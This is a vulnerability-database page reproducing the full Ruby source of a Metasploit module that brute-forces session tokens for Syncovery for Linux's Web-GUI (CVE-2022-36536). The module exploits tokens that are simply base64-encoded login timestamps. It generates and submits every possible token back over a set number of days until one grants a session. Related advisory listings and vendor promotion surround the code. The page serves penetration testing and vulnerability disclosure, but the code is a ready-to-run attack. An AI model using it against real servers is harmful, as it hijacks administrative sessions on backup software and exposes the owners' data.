Lucene search
+L

Syncovery For Linux Web-GUI Session Token Brute-Forcer

🗓️ 14 Dec 2022 19:51:38Reported by Jan RudeType 
metasploit
 metasploit
🔗 www.rapid7.com👁 234 Views

This module attempts to brute-force a valid session token for Syncovery's Web-GUI by generating all possible tokens within a specified timeframe. The vulnerability exists due to the use of predictable session tokens based on login time, instead of a random token

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2022-36536
16 Sep 202203:15
attackerkb
BDU FSTEC
The vulnerability of the Login component in the file post_applogin.php is related to the ability to decode the session token of the Syncovery backup tool, which allows a hacker to increase their privileges.
21 Sep 202200:00
bdu_fstec
Circl
CVE-2022-36536
14 Dec 202212:04
circl
CNNVD
Syncovery 安全特征问题漏洞
16 Sep 202200:00
cnnvd
CVE
CVE-2022-36536
16 Sep 202202:37
cve
Cvelist
CVE-2022-36536
16 Sep 202202:37
cvelist
NVD
CVE-2022-36536
16 Sep 202203:15
nvd
OSV
CVE-2022-36536
16 Sep 202203:15
osv
Packet Storm
Syncovery For Linux Web-GUI Session Token Brute-Forcer
1 Sep 202400:00
packetstorm
Prion
Design/Logic Flaw
16 Sep 202203:15
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'base64'
require 'date'
require 'json'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/syncovery_file_sync_backup'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Syncovery For Linux Web-GUI Session Token Brute-Forcer',
        'Description' => %q{
          This module attempts to brute-force a valid session token for the Syncovery File Sync & Backup Software Web-GUI
          by generating all possible tokens, for every second between 'DateTime.now' and the given X day(s).
          By default today and yesterday (DAYS = 1) will be checked. If a valid session token is found, the module stops.
          The vulnerability exists, because in Syncovery session tokens are basically just base64(m/d/Y H:M:S) at the time
          of the login instead of a random token.
          If a user does not log out (Syncovery v8.x has no logout) session tokens will remain valid until reboot.
        },
        'Author' => [ 'Jan Rude' ],
        'References' => [
          ['URL', 'https://www.mgm-sp.com/en/multiple-vulnerabilities-in-syncovery-for-linux/'],
          ['CVE', '2022-36536']
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => []
        },
        'DisclosureDate' => '2022-09-06',
        'DefaultOptions' => {
          'RPORT' => 8999,
          'STOP_ON_SUCCESS' => true # One valid session is enough
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8999), # Default is HTTP: 8999; HTTPS: 8943
        OptInt.new('DAYS', [true, 'Check today and last X day(s) for valid session token', 1]),
        OptString.new('TARGETURI', [false, 'The path to Syncovery', '/'])
      ]
    )

    deregister_options(
      'USERNAME', 'USER_AS_PASS', 'DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'DB_SKIP_EXISTING',
      'NTLM::SendLM', 'NTLM::SendNTLM', 'NTLM::SendSPN', 'NTLM::UseLMKey', 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2',
      'REMOVE_USERPASS_FILE', 'REMOVE_USER_FILE', 'DOMAIN', 'HttpUsername', 'BLANK_PASSWORDS', 'USER_FILE',
      'USERPASS_FILE', 'PASS_FILE', 'PASSWORD'
    )
  end

  def check_host(_ip)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, '/get_global_variables'),
      'method' => 'GET'
    )

    if res && res.code == 200
      json_res = res.get_json_document
      if json_res['isSyncoveryWindows'] == 'false'
        version = json_res['SyncoveryTitle']&.scan(/Syncovery\s([A-Za-z0-9.]+)/)&.flatten&.first || ''
        if version.empty?
          vprint_warning("#{peer} - Could not identify version")
          Exploit::CheckCode::Detected('Syncovery Linux detected but version could not be determined')
        elsif Rex::Version.new(version) < Rex::Version.new('9.48j') || Rex::Version.new(version) == Rex::Version.new('9.48')
          vprint_good("#{peer} - Syncovery #{version}")
          Exploit::CheckCode::Appears("Syncovery Linux #{version} appears to be vulnerable")
        else
          vprint_status("#{peer} - Syncovery #{version}")
          Exploit::CheckCode::Safe("Syncovery Linux #{version} is not vulnerable")
        end
      else
        Exploit::CheckCode::Safe('Target is running Syncovery on Windows, not Linux')
      end
    else
      Exploit::CheckCode::Unknown('Failed to retrieve Syncovery global variables')
    end
  end

  def run_host(ip)
    # Calculate dates
    days = datastore['DAYS']
    if days < 0
      days = 0
    end
    dates = []
    (0..days).each do |day|
      dates << (Date.today - day).strftime('%m/%d/%Y')
    end
    time = DateTime.now.strftime('%H:%M:%S')
    hrs, min, sec = time.split(':')

    # Create possible session tokens
    cred_collection = Metasploit::Framework::PrivateCredentialCollection.new
    dates.each do |date|
      (0..hrs.to_i).reverse_each do |hours|
        (0..min.to_i).reverse_each do |minutes|
          (0..sec.to_i).reverse_each do |seconds|
            timestamp = "#{date} #{format('%.2d', hours)}:#{format('%.2d', minutes)}:#{format('%.2d', seconds)}"
            cred_collection.add_private(Base64.strict_encode64(timestamp).strip)
          end
          sec = 59
        end
        min = 59
      end
      hrs = 23
    end

    print_status("#{peer.strip} - Starting Brute-Forcer")
    scanner = Metasploit::Framework::LoginScanner::SyncoveryFileSyncBackup.new(
      configure_login_scanner(
        host: ip,
        port: rport,
        cred_details: cred_collection,
        stop_on_success: true, # this will have no effect due to the scanner behaviour when scanning without username
        connection_timeout: 10
      )
    )

    scanner.scan! do |result|
      if result.success?
        print_good("#{peer.strip} - VALID TOKEN: #{result.credential.private}")
      else
        vprint_error("#{peer.strip} - INVALID TOKEN: #{result.credential.private}")
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Jul 2026 19:05Current
8.4High risk
Vulners AI Score8.4
CVSS 3.19.8
EPSS0.03958
234